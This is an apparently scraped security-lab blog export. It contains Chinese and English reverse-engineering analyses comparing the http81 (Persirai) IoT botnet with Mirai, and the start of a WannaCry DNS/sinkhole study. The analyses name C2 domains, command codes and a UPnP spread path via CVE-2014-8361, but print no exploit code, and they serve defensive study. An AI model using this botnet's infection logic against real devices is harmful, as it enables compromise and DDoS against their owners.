Command Execution）的设备时(识别关键字<code>:52869/picsdesc.xml</code>)，尝试发送 CVE-2014-8361 对应的 payload 完成一次试探性传播（函数地址 <code>0x0000A458</code>）。</p> <p>当存在漏洞的服务无法从外网直接访问时，扫描器将会通过调用拥有“AddPortMapping” 功能的函数（函数地址 <code>0x0000AE20</code>）建立一个端口映射，并通过新映射的端口来完成试探性payload投递。</p> <h2 id="udpflood">UDP-Flood 的网络特征</h2> <p>该样本支持两种UDP-flood 攻击，分别为 <code>00 06</code> 和 <code>00 08</code>。</p> <p>其中 <code>00 06</code> 对应的 flood 内容同 SSDP 探测包相同，截图证明如下：</p> <p><img src="__GHOST_URL__/content/images/2017/04/00_06_udp_flood.jpg" alt="" loading="lazy"></p> <p>而 <code>00 08</code> 对应的 flood 内容为：</p> <p><img src="__GHOST_URL__/content/images/2017/04/00_08_udp_flood.jpg" alt="" loading="lazy"></p> <h1 id="">回顾</h1> <p>本文从逆向样本出发，详细阐述了 新Botnet 和 MIRAI 之间的2个相同点和4个不同点。</p> <p><strong>相同点</strong></p> <ol> <li>相同的扫描方案</li> <li>部分util函数同源</li> </ol> <p><strong>不同点</strong></p> <ol> <li>配置C2的区别</li> <li>传播方式的区别</li> <li>通讯协议的区别</li> <li>攻击向量的区别</li> </ol> <p>虽然 新Botnet 和 MIRAI 之间存在一定的共同点，但从 Botnet 识别的角度来看，这些不同点均为识别 Botnet 的重要指标，我们没有理由将其归类为 MIRAI 的变种，而应当把它当做一个全新的 Botnet 家族。</p> <!--kg-card-end: markdown-->

概述 从 "81 端口的异常流量"中，我们发现了一个新的僵尸网络家族，它和 MRIAI 存在一定的联系，本文将介绍一些对比结果，同时介绍一下我们从这个 botnet 中发现的一种依赖SSDP协议的感染机制。 ****注：*如无特殊声明，MIRAI的分析将以github源码为基础；新botnet 将以其中的9584B6AEC418A2AF4EFAC24867A8C7EC样本的逆向结果为基础。 相同点 相同的扫描方案 众所周知，MIRAI在传播过程中用到了SYN端口探测的技巧，来提高传播效率。新Botnet 也使用了该技巧并将其用在了81端口扫描中。随着研究的深入我们发现它和MIRAI有着相同的扫描规则。 在 MIRAI 中，被扫描IP是通过一系列随机函数生成的，但他有个黑名单机制，用于跳过一些IP地址范围（代码来自scanner.c），相关截图如下： 而在我们发现的 新Botnet 中（截图选自sub_A7C4函数），也有完全相同的黑名单机制（上下两图红框中是三行比对样例，实际上整个 while 循环体都是完全一致的）。 部分util函数同源 当我们将 新Botnet 和 MIRAI 进行汇编指令级别对比时，可以很清晰的发现，它们之间的少部分函数具有高度的一致性。 不同点 配置C2的区别 在公开的 MIRAI 源码中，用了 一个异或加密算法 来保护 C2 域名，并将 C2 以密文形式编码在原始代码之中，相关代码可参考 table.c 的 table_init 函数，其截图如下： 而在 该 Botnet 中，却是直接的明文字符串编码，相关截图如下： 值得一提的是，域名 ntp.gtpnet.ir 现阶段的解析目标为一个内网地址。 在此种情况下，攻击者是无法对僵尸网络进行正常控制的，且解析方式也不同于BlackHole（即域名的控制权仍然掌握在管理者手中）。 我们推测产生这种状态的原因有两种可能： 1. 管理者发现僵尸网络暴露了，切断了解析以防被追踪。 2. 管理者正在进行新版本的研发和测试，而网络上有大量的被控端，它们会对测试造成干扰，把解析目标设置到自己可控的内网地址后，可以很方便的排除干扰。 传播方式的区别 在所有公开的 MIRAI 源码中，只有弱口令扫描一种传播方式，在 MIRAI 的已知变种中，出现过利用7547/5555/6789/37777等端口传播的情况，关于 MIRAI 更多的跟踪细节可以参考 Mirai Scanner主页。 而 81 端口却从未发现过传播的 MIRAI 的先例，这是 新Botnet 独有的传播方式，“新威胁报告：一个新IoT僵尸网络正在 HTTP 81上大范围传播” 记录了和其有关的更多内容。 通讯协议的区别 MIRAI 的通讯协议可以从 attack.c 文件的 attack_parse 函数获取到。 而在 新Botnet 中却采取了一套全新的指令系统，相关内容可以用下表来表示： 攻击向量的区别 在原版 MIRAI 中，拥有包括 GRE 攻击在内的 10 种 ddos 攻击向量可供选择，相关证据可以参考 attack.h 文件中的相关定义，下面是一张截图证明： 而在 新Botnet 中，只存在两种 UDP-flood 攻击向量，可供选择，具体证据可参阅“通讯协议的区别”章节提供的表格。 更多关于 新Botnet 的细节 除 81 端口外还存在其他传播方案 虽然 新Botnet 是从 81 端口上被披露出来的，但其内部还包含有一个备份的传播方案，它似乎还没有被使用过。 00 04 02 是该传播方案对应的指令码。这是一个基于 “SSDP协议+UPnP实现漏洞利用” 的传播方案，传播将基于 1900 端口。其发送的第一个探测包内容如下： M-SEARCH * HTTP/1.1 HOST:239.255.255.250:1900 ST:upnp:rootdevice MAN:"ssdp:discover" MX:3 这是 SSDP 协议的第一个请求包（函数地址 0x0000A918），当目标可以处理 SSDP 时，则进入 SSDP 交互逻辑，进而获得更多的智能设备信息及相应控制方法，当发现潜在 CVE-2014-8361 漏洞（Realtek SDK Miniigd UPnP SOAP Command Execution）的设备时(识别关键字:52869/picsdesc.xml)，尝试发送 CVE-2014-8361 对应的 payload 完成一次试探性传播（函数地址 0x0000A458）。 当存在漏洞的服务无法从外网直接访问时，扫描器将会通过调用拥有“AddPortMapping” 功能的函数（函数地址 0x0000AE20）建立一个端口映射，并通过新映射的端口来完成试探性payload投递。 UDP-Flood 的网络特征 该样本支持两种UDP-flood 攻击，分别为 00 06 和 00 08。 其中 00 06 对应的 flood 内容同 SSDP 探测包相同，截图证明如下： 而 00 08 对应的 flood 内容为： 回顾 本文从逆向样本出发，详细阐述了 新Botnet 和 MIRAI 之间的2个相同点和4个不同点。 相同点 1. 相同的扫描方案 2. 部分util函数同源 不同点 1. 配置C2的区别 2. 传播方式的区别 3. 通讯协议的区别 4. 攻击向量的区别 虽然 新Botnet 和 MIRAI 之间存在一定的共同点，但从 Botnet 识别的角度来看，这些不同点均为识别 Botnet 的重要指标，我们没有理由将其归类为 MIRAI 的变种，而应当把它当做一个全新的 Botnet 家族。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#概述\n\n从 \"[81 端口的异常流量](__GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/)\"中，我们发现了一个新的僵尸网络家族，它和 MRIAI 存在一定的联系，本文将介绍一些对比结果，同时介绍一下我们从这个 botnet 中发现的一种依赖SSDP协议的感染机制。\n\n*\\***注：**如无特殊声明，MIRAI的分析将以github源码为基础；新botnet 将以其中的9584B6AEC418A2AF4EFAC24867A8C7EC样本的逆向结果为基础。*\n\n# 相同点\n## 相同的扫描方案\n众所周知，MIRAI在传播过程中用到了SYN端口探测的技巧，来提高传播效率。新Botnet 也使用了该技巧并将其用在了81端口扫描中。随着研究的深入我们发现它和MIRAI有着相同的扫描规则。 \n在 MIRAI 中，被扫描IP是通过一系列随机函数生成的，但他有个黑名单机制，用于跳过一些IP地址范围（代码来自scanner.c），相关截图如下：\n\n\n \n而在我们发现的 新Botnet 中（截图选自sub_A7C4函数），也有完全相同的黑名单机制（上下两图红框中是三行比对样例，实际上整个 while 循环体都是完全一致的）。\n\n\n \n## 部分util函数同源\n当我们将 新Botnet 和 MIRAI 进行汇编指令级别对比时，可以很清晰的发现，它们之间的少部分函数具有高度的一致性。\n\n\n\n# 不同点\n## 配置C2的区别\n在公开的 MIRAI 源码中，用了 一个异或加密算法 来保护 C2 域名，并将 C2 以密文形式编码在原始代码之中，相关代码可参考 table.c 的 table_init 函数，其截图如下：\n\n\n\n而在 该 Botnet 中，却是直接的明文字符串编码，相关截图如下：\n\n\n\n值得一提的是，域名 `ntp.gtpnet.ir` 现阶段的解析目标为一个内网地址。\n在此种情况下，攻击者是无法对僵尸网络进行正常控制的，且解析方式也不同于BlackHole（即域名的控制权仍然掌握在管理者手中）。\n我们推测产生这种状态的原因有两种可能：\n\n1.\t管理者发现僵尸网络暴露了，切断了解析以防被追踪。\n2.\t管理者正在进行新版本的研发和测试，而网络上有大量的被控端，它们会对测试造成干扰，把解析目标设置到自己可控的内网地址后，可以很方便的排除干扰。\n\n## 传播方式的区别\n\n在所有公开的 MIRAI 源码中，只有弱口令扫描一种传播方式，在 MIRAI 的已知变种中，出现过利用7547/5555/6789/37777等端口传播的情况，关于 MIRAI 更多的跟踪细节可以参考 [Mirai Scanner主页]( http://data.netlab.360.com/mirai-scanner/)。 \n\n而 81 端口却从未发现过传播的 MIRAI 的先例，这是 新Botnet 独有的传播方式，“[新威胁报告：一个新IoT僵尸网络正在 HTTP 81上大范围传播]( __GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/)” 记录了和其有关的更多内容。\n\n## 通讯协议的区别\n\nMIRAI 的通讯协议可以从 attack.c 文件的 attack_parse 函数获取到。\n\n而在 新Botnet 中却采取了一套全新的指令系统，相关内容可以用下表来表示：\n\n\n## 攻击向量的区别\n在原版 MIRAI 中，拥有包括 GRE 攻击在内的 10 种 ddos 攻击向量可供选择，相关证据可以参考 attack.h 文件中的相关定义，下面是一张截图证明：\n\n\n\n而在 新Botnet 中，只存在两种 UDP-flood 攻击向量，可供选择，具体证据可参阅“通讯协议的区别”章节提供的表格。\n\n# 更多关于 新Botnet 的细节\n\n## 除 81 端口外还存在其他传播方案\n\n虽然 新Botnet 是从 81 端口上被披露出来的，但其内部还包含有一个备份的传播方案，它似乎还没有被使用过。\n\n`00 04 02` 是该传播方案对应的指令码。这是一个基于 “SSDP协议+UPnP实现漏洞利用” 的传播方案，传播将基于 1900 端口。其发送的第一个探测包内容如下：\n\n<div>\n<pre>\nM-SEARCH * HTTP/1.1\nHOST:239.255.255.250:1900\nST:upnp:rootdevice\nMAN:\"ssdp:discover\"\nMX:3\n</pre>\n<div>\n\n这是 SSDP 协议的第一个请求包（函数地址 `0x0000A918`），当目标可以处理 SSDP 时，则进入 SSDP 交互逻辑，进而获得更多的智能设备信息及相应控制方法，当发现潜在 CVE-2014-8361 漏洞（Realtek SDK Miniigd UPnP SOAP Command Execution）的设备时(识别关键字`:52869/picsdesc.xml`)，尝试发送 CVE-2014-8361 对应的 payload 完成一次试探性传播（函数地址 `0x0000A458`）。\n\n当存在漏洞的服务无法从外网直接访问时，扫描器将会通过调用拥有“AddPortMapping” 功能的函数（函数地址 `0x0000AE20`）建立一个端口映射，并通过新映射的端口来完成试探性payload投递。\n\n## UDP-Flood 的网络特征\n该样本支持两种UDP-flood 攻击，分别为 `00 06` 和 `00 08`。\n\n其中 `00 06` 对应的 flood 内容同 SSDP 探测包相同，截图证明如下：\n\n\n\n而 `00 08` 对应的 flood 内容为：\n\n\n\n# 回顾\n\n本文从逆向样本出发，详细阐述了 新Botnet 和 MIRAI 之间的2个相同点和4个不同点。\n\n**相同点**\n\n1. 相同的扫描方案 \n2. 部分util函数同源 \n\n**不同点**\n\n1. 配置C2的区别 \n2. 传播方式的区别 \n3. 通讯协议的区别 \n4. 攻击向量的区别 \n\n\n虽然 新Botnet 和 MIRAI 之间存在一定的共同点，但从 Botnet 识别的角度来看，这些不同点均为识别 Botnet 的重要指标，我们没有理由将其归类为 MIRAI 的变种，而应当把它当做一个全新的 Botnet 家族。\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

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2017-04-27T08:56:50.000Z

63873b9a8b1c1e0007f52ef8

http-81-botnet-the-comparison-against-mirai-and-new-findings-en

2018-10-06T09:10:43.000Z

public

published

2017-04-28T09:35:28.000Z

Http 81 Botnet: the Comparison against MIRAI and New Findings

<!--kg-card-begin: markdown--><h1 id="overview">Overview</h1> <p>In <a href="__GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-en/">our previous blog</a>, we introduced a new IoT botnet spreading over http 81. We will name it in this blog the <code>http81</code> IoT botnet, while some anti-virus software name it Persirai, and some other name it after MIRAI.</p> <p>In this blog, we will compare <code>http81</code> against mirai at binary level:</p> <div> <pre> 1. Similarities to Mirai 1.1 Same IP Blacklist in Scanning Module 1.2 Same Functions as a Fundamental Library 2. Differences against Mirai 2.1 C2 Presence in the Source Code 2.2 Infection method 2.3 C2 Communication Protocol 2.4 Attack vector </pre> <div> <p>With the distinguish differences in infection, C2 communication and attacking vector, the <code>http81</code> should be treated as a different botnet from mirai.</p> <p>This blog also introduce several new findings:</p> <ul> <li>another inactive infection method on SSDP/UPnP</li> <li>the SSDP/UPnP infection payload is reused by <code>00 06</code> UDP-Flood</li> <li>the C2 domains are now silent by resolving to internal network address</li> </ul> <p>****PS：*<em>If not noted，MIRAI analysis will be based on the leaked source code from GitHub；the HTTP 81 botnet analysis will be based on the reverse engineering result of sample with a md5-hash 9584B6AEC418A2AF4EFAC24867A8C7EC .</em></p> <h1 id="similaritiestomirai">Similarities to Mirai</h1> <h3 id="sameipblacklistinscanningmodule">Same IP Blacklist in Scanning Module</h3> <p>As we all know，<code>mirai</code> were spreading very fast under the support of SYN port detection. Nowadays this mechanisms is borrowed by several different botnets, including this <code>http81</code>.</p> <p><code>Mirai</code> introduced an IP blacklist code snippet when choosing target scanning IP address to avoid touching some specific CIDR(SOURCE: scanner.c). As shown in the following figure.</p> <p><img src="__GHOST_URL__/content/images/2017/04/1_SYN_SCAN_BLACK_IP_ADDRESS.png" alt="" loading="lazy"></p> <p>Exactly the same code snippet exists in <code>http81</code> botnet in function sub_A7C4. Following figure shows the same code lines in the red boxes. In fact, the whole while cycle is the same.</p> <p><img src="__GHOST_URL__/content/images/2017/04/2_SYN_SCANN_BLACK_LIST.jpg" alt="" loading="lazy"></p> <h3 id="samefunctionsasafundamentallibrary">Same Functions as a Fundamental Library</h3> <p>When compared at assembly instruction level, it is clear that a small number of functions are highly consistent between two botnets.</p> <p><img src="__GHOST_URL__/content/images/2017/04/table_Function_Name_From_MIRAI-6.jpg" alt="" loading="lazy"></p> <p>These listed functions looks very fundamental, as from the function name. For example, the function rand_next is called in the IP blacklist snippet mentioned above.</p> <h1 id="differencesagainstmirai">Differences against Mirai</h1> <h3 id="c2presenceinthesourcecode">C2 Presence in the Source Code</h3> <p>In the MIRAI source code, an Xor encryption algorithm is used to protect the original C2 domain name, to bury it into a ciphered text deep in the source code. Clues are showed in following snapshot, from the <code>table_init</code> function of the <code>table.c</code> file.</p> <p><img src="__GHOST_URL__/content/images/2017/04/3_C2_Config_Of_MIRAI.png" alt="" loading="lazy"></p> <p>But in <code>http81</code>, the C2 is store in plain text. A bared C2 can be seen from the figure below.</p> <p><img src="__GHOST_URL__/content/images/2017/04/4_C2_Config_Of_Persirai.png" alt="" loading="lazy"></p> <h3 id="infectionmethod">Infection method</h3> <p>The source leaked <code>mirai</code> was spreading over <code>telnet 23/2323</code>. Some mirai variants works on different ports such as 7547/6789/3777, but no evidence of http 81 port exists. More details can be found in <a href="http://data.netlab.360.com/mirai-scanner/">Mirai Scanner</a>.</p> <p>This http 81 port injection is a unique feature of the <code>http 81</code> botnet, with more details listed in <a href="__GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-en/">our previous blog</a>.</p> <h3 id="c2communicationprotocol">C2 Communication Protocol</h3> <p>In the MIRAI source code, attack_parse function(Source: attack.c) records the details of its protocol.</p> <p><code>http 81</code> botnet adopts a completely new protocol, listed in following table. In this list, <code>00 06</code> and <code>00 08</code> are code for UDP flood.</p> <p><img src="__GHOST_URL__/content/images/2017/05/table_command_parse_Persirai_en.jpg" alt="Persirai Protocol" loading="lazy"></p> <h3 id="attackvector">Attack vector</h3> <p><code>MIRAI</code> owns 10 DDoS attack vectors including a unique GRE/VSE attacks, which listed in the <code>attack.h</code> file.</p> <p><img src="__GHOST_URL__/content/images/2017/04/5_DDOS_attack_Vector_In_MIRAI.jpg" alt="" loading="lazy"></p> <p>But <code>http81</code> owns just two DDoS attack vectors. Both are UDP flood with protocol numbers <code>00 06</code> and <code>00 08</code>, mentioned in above.</p> <h1 id="newfindings">New Findings</h1> <h3 id="anotherinactiveinfectionmethodonssdpupnp">Another Inactive Infection Method on SSDP/UPnP</h3> <p>Although <code>http81</code> use a unique http 81 injection, there is another infection method with instruction code <code>00 04 02</code>, which seems inactive.</p> <p>Once activated, large number of UDP requests will be send in a short time to randomized destination IP on port 1900, with following packet contents.</p> <div> <pre> M-SEARCH * HTTP/1.1 HOST:239.255.255.250:1900 ST:upnp:rootdevice MAN:"ssdp:discover" MX:3 </pre> <div> <p>This is exactly the first request packet of the SSDP protocol (<em>Function address: <code>0x0000A918</code></em>). If one of them hits a SSDP device, the bot will enter the SSDP interactive process to get more device information, and try to use the <code>EXPLOIT</code> (<em>CVE-2014-8361, &quot;Realtek SDK Miniigd <strong>UPnP</strong> SOAP Command Execution&quot;</em> ) when the keyword (<code>:52869/picsdesc.xml</code>) appears(<em>Function address: <code>0x0000A458</code></em>).</p> <p>Sometimes, when the bot can not directly exploit the target device on the WAN side, an function containing &quot;AddPortMapping&quot; will be tried (<em>Function address: <code>0x0000AE20</code></em>) to establish an port tunnel, through which another shot of exploit will be tried.</p> <h3 id="thessdpupnpinfectionpayloadisreusedby0006udpflood">The SSDP/UPnP Infection Payload is Reused by 00 06 UDP-Flood</h3> <p>The <code>http81</code> botnet owns two DDoS attack vector, <code>00 06</code> and <code>00 08</code>. Payload of the former <code>00 06</code> is exactly the first request packet of SSDP protocol.</p> <p><img src="__GHOST_URL__/content/images/2017/04/00_06_udp_flood.jpg" alt="" loading="lazy"></p> <p>Payload of the later <code>00 08</code> is different.</p> <p><img src="__GHOST_URL__/content/images/2017/04/00_08_udp_flood.jpg" alt="" loading="lazy"></p> <h3 id="thec2domainsarenowsilentbyresolvingtointernalnetworkaddress">The C2 Domains Are Now Silent by Resolving to Internal Network Address</h3> <p><code>ntp.gtpnet.ir/load.gtpnet.ir</code> are now silent by resolving to internal network address since 2017-04-26 02:13:49(GMT+8), so the bot-master will not send command to the botnet at this moment. But it doesn't mean bot-master has lost control to the botnet.</p> <ul> <li>ntp.gtpnet.ir A 10.40.40.40</li> <li>load.gtpnet.ir A 10.50.50.50</li> </ul> <p>Two different explanations we listed here:</p> <ol> <li>The manager found the botnet exposed and cut off the connection.</li> <li>The manager is sharpening the botnet, but interfered by the heavy load from the bots. So the manager temporary offline the domain for a easier development.</li> </ol> <h1 id="review">Review</h1> <p>We will treat <code>http81</code> a new new family different from mirai.</p> <!--kg-card-end: markdown-->

Overview In our previous blog, we introduced a new IoT botnet spreading over http 81. We will name it in this blog the http81 IoT botnet, while some anti-virus software name it Persirai, and some other name it after MIRAI. In this blog, we will compare http81 against mirai at binary level: 1. Similarities to Mirai 1.1 Same IP Blacklist in Scanning Module 1.2 Same Functions as a Fundamental Library 2. Differences against Mirai 2.1 C2 Presence in the Source Code 2.2 Infection method 2.3 C2 Communication Protocol 2.4 Attack vector With the distinguish differences in infection, C2 communication and attacking vector, the http81 should be treated as a different botnet from mirai. This blog also introduce several new findings: * another inactive infection method on SSDP/UPnP * the SSDP/UPnP infection payload is reused by 00 06 UDP-Flood * the C2 domains are now silent by resolving to internal network address ****PS：*If not noted，MIRAI analysis will be based on the leaked source code from GitHub；the HTTP 81 botnet analysis will be based on the reverse engineering result of sample with a md5-hash 9584B6AEC418A2AF4EFAC24867A8C7EC . Similarities to Mirai Same IP Blacklist in Scanning Module As we all know，mirai were spreading very fast under the support of SYN port detection. Nowadays this mechanisms is borrowed by several different botnets, including this http81. Mirai introduced an IP blacklist code snippet when choosing target scanning IP address to avoid touching some specific CIDR(SOURCE: scanner.c). As shown in the following figure. Exactly the same code snippet exists in http81 botnet in function sub_A7C4. Following figure shows the same code lines in the red boxes. In fact, the whole while cycle is the same. Same Functions as a Fundamental Library When compared at assembly instruction level, it is clear that a small number of functions are highly consistent between two botnets. These listed functions looks very fundamental, as from the function name. For example, the function rand_next is called in the IP blacklist snippet mentioned above. Differences against Mirai C2 Presence in the Source Code In the MIRAI source code, an Xor encryption algorithm is used to protect the original C2 domain name, to bury it into a ciphered text deep in the source code. Clues are showed in following snapshot, from the table_init function of the table.c file. But in http81, the C2 is store in plain text. A bared C2 can be seen from the figure below. Infection method The source leaked mirai was spreading over telnet 23/2323. Some mirai variants works on different ports such as 7547/6789/3777, but no evidence of http 81 port exists. More details can be found in Mirai Scanner. This http 81 port injection is a unique feature of the http 81 botnet, with more details listed in our previous blog. C2 Communication Protocol In the MIRAI source code, attack_parse function(Source: attack.c) records the details of its protocol. http 81 botnet adopts a completely new protocol, listed in following table. In this list, 00 06 and 00 08 are code for UDP flood. Attack vector MIRAI owns 10 DDoS attack vectors including a unique GRE/VSE attacks, which listed in the attack.h file. But http81 owns just two DDoS attack vectors. Both are UDP flood with protocol numbers 00 06 and 00 08, mentioned in above. New Findings Another Inactive Infection Method on SSDP/UPnP Although http81 use a unique http 81 injection, there is another infection method with instruction code 00 04 02, which seems inactive. Once activated, large number of UDP requests will be send in a short time to randomized destination IP on port 1900, with following packet contents. M-SEARCH * HTTP/1.1 HOST:239.255.255.250:1900 ST:upnp:rootdevice MAN:"ssdp:discover" MX:3 This is exactly the first request packet of the SSDP protocol (Function address: 0x0000A918). If one of them hits a SSDP device, the bot will enter the SSDP interactive process to get more device information, and try to use the EXPLOIT (CVE-2014-8361, "Realtek SDK Miniigd UPnP SOAP Command Execution" ) when the keyword (:52869/picsdesc.xml) appears(Function address: 0x0000A458). Sometimes, when the bot can not directly exploit the target device on the WAN side, an function containing "AddPortMapping" will be tried (Function address: 0x0000AE20) to establish an port tunnel, through which another shot of exploit will be tried. The SSDP/UPnP Infection Payload is Reused by 00 06 UDP-Flood The http81 botnet owns two DDoS attack vector, 00 06 and 00 08. Payload of the former 00 06 is exactly the first request packet of SSDP protocol. Payload of the later 00 08 is different. The C2 Domains Are Now Silent by Resolving to Internal Network Address ntp.gtpnet.ir/load.gtpnet.ir are now silent by resolving to internal network address since 2017-04-26 02:13:49(GMT+8), so the bot-master will not send command to the botnet at this moment. But it doesn't mean bot-master has lost control to the botnet. * ntp.gtpnet.ir A 10.40.40.40 * load.gtpnet.ir A 10.50.50.50 Two different explanations we listed here: 1. The manager found the botnet exposed and cut off the connection. 2. The manager is sharpening the botnet, but interfered by the heavy load from the bots. So the manager temporary offline the domain for a easier development. Review We will treat http81 a new new family different from mirai.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#Overview\n\nIn [our previous blog](__GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-en/), we introduced a new IoT botnet spreading over http 81. We will name it in this blog the `http81` IoT botnet, while some anti-virus software name it Persirai, and some other name it after MIRAI.\n\nIn this blog, we will compare `http81` against mirai at binary level:\n\n<div>\n<pre>\n 1. Similarities to Mirai\n 1.1 Same IP Blacklist in Scanning Module\n 1.2 Same Functions as a Fundamental Library\n 2. Differences against Mirai\n 2.1 C2 Presence in the Source Code\n 2.2 Infection method\n 2.3 C2 Communication Protocol\n 2.4 Attack vector\n</pre>\n<div>\n\nWith the distinguish differences in infection, C2 communication and attacking vector, the `http81` should be treated as a different botnet from mirai.\n\nThis blog also introduce several new findings:\n\n * another inactive infection method on SSDP/UPnP\n * the SSDP/UPnP infection payload is reused by `00 06` UDP-Flood\n * the C2 domains are now silent by resolving to internal network address\n\n\n\n*\\***PS：**If not noted，MIRAI analysis will be based on the leaked source code from GitHub；the HTTP 81 botnet analysis will be based on the reverse engineering result of sample with a md5-hash 9584B6AEC418A2AF4EFAC24867A8C7EC .*\n\n# Similarities to Mirai\n### Same IP Blacklist in Scanning Module\n\nAs we all know，`mirai` were spreading very fast under the support of SYN port detection. Nowadays this mechanisms is borrowed by several different botnets, including this `http81`.\n\n`Mirai` introduced an IP blacklist code snippet when choosing target scanning IP address to avoid touching some specific CIDR(SOURCE: scanner.c). As shown in the following figure.\n\n\n\nExactly the same code snippet exists in `http81` botnet in function sub_A7C4. Following figure shows the same code lines in the red boxes. In fact, the whole while cycle is the same.\n\n\n \n\n### Same Functions as a Fundamental Library\n\nWhen compared at assembly instruction level, it is clear that a small number of functions are highly consistent between two botnets.\n\n\n\nThese listed functions looks very fundamental, as from the function name. For example, the function rand_next is called in the IP blacklist snippet mentioned above.\n\n# Differences against Mirai\n### C2 Presence in the Source Code\n\nIn the MIRAI source code, an Xor encryption algorithm is used to protect the original C2 domain name, to bury it into a ciphered text deep in the source code. Clues are showed in following snapshot, from the `table_init` function of the `table.c` file.\n\n\n\nBut in `http81`, the C2 is store in plain text. A bared C2 can be seen from the figure below.\n\n\n\n### Infection method\n\nThe source leaked `mirai` was spreading over `telnet 23/2323`. Some mirai variants works on different ports such as 7547/6789/3777, but no evidence of http 81 port exists. More details can be found in [Mirai Scanner]( http://data.netlab.360.com/mirai-scanner/).\n\nThis http 81 port injection is a unique feature of the `http 81` botnet, with more details listed in [our previous blog](__GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-en/).\n\n### C2 Communication Protocol\n\nIn the MIRAI source code, attack_parse function(Source: attack.c) records the details of its protocol.\n\n`http 81` botnet adopts a completely new protocol, listed in following table. In this list, `00 06` and `00 08` are code for UDP flood.\n\n\n\n### Attack vector\n\n`MIRAI` owns 10 DDoS attack vectors including a unique GRE/VSE attacks, which listed in the `attack.h` file.\n\n\n\nBut `http81` owns just two DDoS attack vectors. Both are UDP flood with protocol numbers `00 06` and `00 08`, mentioned in above.\n\n# New Findings\n\n### Another Inactive Infection Method on SSDP/UPnP\n\nAlthough `http81` use a unique http 81 injection, there is another infection method with instruction code `00 04 02`, which seems inactive.\n\nOnce activated, large number of UDP requests will be send in a short time to randomized destination IP on port 1900, with following packet contents.\n\n<div>\n<pre>\nM-SEARCH * HTTP/1.1\nHOST:239.255.255.250:1900\nST:upnp:rootdevice\nMAN:\"ssdp:discover\"\nMX:3\n</pre>\n<div>\n\nThis is exactly the first request packet of the SSDP protocol (*Function address: `0x0000A918`*). If one of them hits a SSDP device, the bot will enter the SSDP interactive process to get more device information, and try to use the `EXPLOIT` (*CVE-2014-8361, \"Realtek SDK Miniigd **UPnP** SOAP Command Execution\"* ) when the keyword (`:52869/picsdesc.xml`) appears(*Function address: `0x0000A458`*).\n\nSometimes, when the bot can not directly exploit the target device on the WAN side, an function containing \"AddPortMapping\" will be tried (*Function address: `0x0000AE20`*) to establish an port tunnel, through which another shot of exploit will be tried.\n\n### The SSDP/UPnP Infection Payload is Reused by 00 06 UDP-Flood\n\nThe `http81` botnet owns two DDoS attack vector, `00 06` and `00 08`. Payload of the former `00 06` is exactly the first request packet of SSDP protocol.\n\n\n\nPayload of the later `00 08` is different.\n\n\n\n\n###The C2 Domains Are Now Silent by Resolving to Internal Network Address\n`ntp.gtpnet.ir/load.gtpnet.ir` are now silent by resolving to internal network address since 2017-04-26 02:13:49(GMT+8), so the bot-master will not send command to the botnet at this moment. But it doesn't mean bot-master has lost control to the botnet.\n\n\n * ntp.gtpnet.ir\tA\t10.40.40.40\n * load.gtpnet.ir\tA\t10.50.50.50\n\n\nTwo different explanations we listed here:\n\n1.\tThe manager found the botnet exposed and cut off the connection.\n2.\tThe manager is sharpening the botnet, but interfered by the heavy load from the bots. So the manager temporary offline the domain for a easier development.\n\n# Review\n\nWe will treat `http81` a new new family different from mirai."}]],"sections":[[10,0]],"ghostVersion":"3.0"}

52

post

2017-07-17T13:03:35.000Z

63873b9a8b1c1e0007f52ef9

wannacry-from-dns-and-sinkhole-view

2018-10-06T09:02:17.000Z

public

published

2017-07-17T13:38:10.000Z

从DNS和sinkhole视角看WannaCry蠕虫

<!--kg-card-begin: markdown--><p>编注：本文来源自《中国计算机学会通讯》2017年第7期《WannaCry勒索蠕虫专刊》，作者是360网络安全研究院李丰沛。在本博客发布时，文章的字句和排版略有调整，以适应本技术博客。我们将该文章发布在本技术博客的动机之一，是因为这篇文章中对WannaCry的感染情况做了一个定量分析，本技术博客的后续其他分析文章可以参考做一个基准。</p> <p>域名系统(Domain Name System, DNS)数据作为全网流量数据的一种采样方式，可以在大网尺度对域名做有效的度量和分析。我们利用DNS数据，在过去数年里对多个安全事件，包括Mirai等僵尸网络、DGA等恶意域名，以及黑色产业链条进行跟踪和分析。对于最近爆发的WannaCry蠕虫病毒，利用DNS数据进行分析，也是很有意义的。</p> <p>众所周知，WannaCry蠕虫病毒有一个开关域名，即www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com，该域名相关详细内容见《WannaCry勒索蠕虫专刊》其他文章。在蠕虫感染过程中，有效载荷通过445端口上的 MS17-010漏洞投递并成功启动后，会尝试访问特定域名的网页。如果成功访问网页，则随即退出，蠕虫会被压制，不会进一步发作；如果访问网页失败，蠕虫会开始破坏动作，并随后弹框勒索赎金。本文首先从我们手头的DNS数据视角，就开关域名和其他域名的访问情况，描绘本次WannaCry蠕虫病毒在国内的感染和防御情况。</p> <p>尽管在注册开关域名时，Kryptos Logic Vantage (www.kryptoslogic.com)的研究人员并没有意识到这个域名的重要作用，但实际上，正是这个开关域名成功抑制了WannaCry蠕虫的蔓延，研究人员因此自嘲说“意外地拯救了世界”。得益于Kryptos Logic Vantage对我们的信任，我们获得了关键域名sinkhole的部分日志数据。本文的第二部分，将基于sinkhole日志的统计信息，分析WannaCry的感染情况。</p> <h3 id="dnswannacry">从DNS视角看WannaCry在国内的感染和防御情况</h3> <p>这里，有必要先介绍一下我们在DNS方面“看见”的能力，从而向读者确认我们所见的数据能够代表中国地区。我们及合作伙伴的DNS数据源每日高峰期处理超过100万次/秒的DNS请求和响应，客户来源覆盖国内各地理区域、行业、运营商等不同领域。</p> 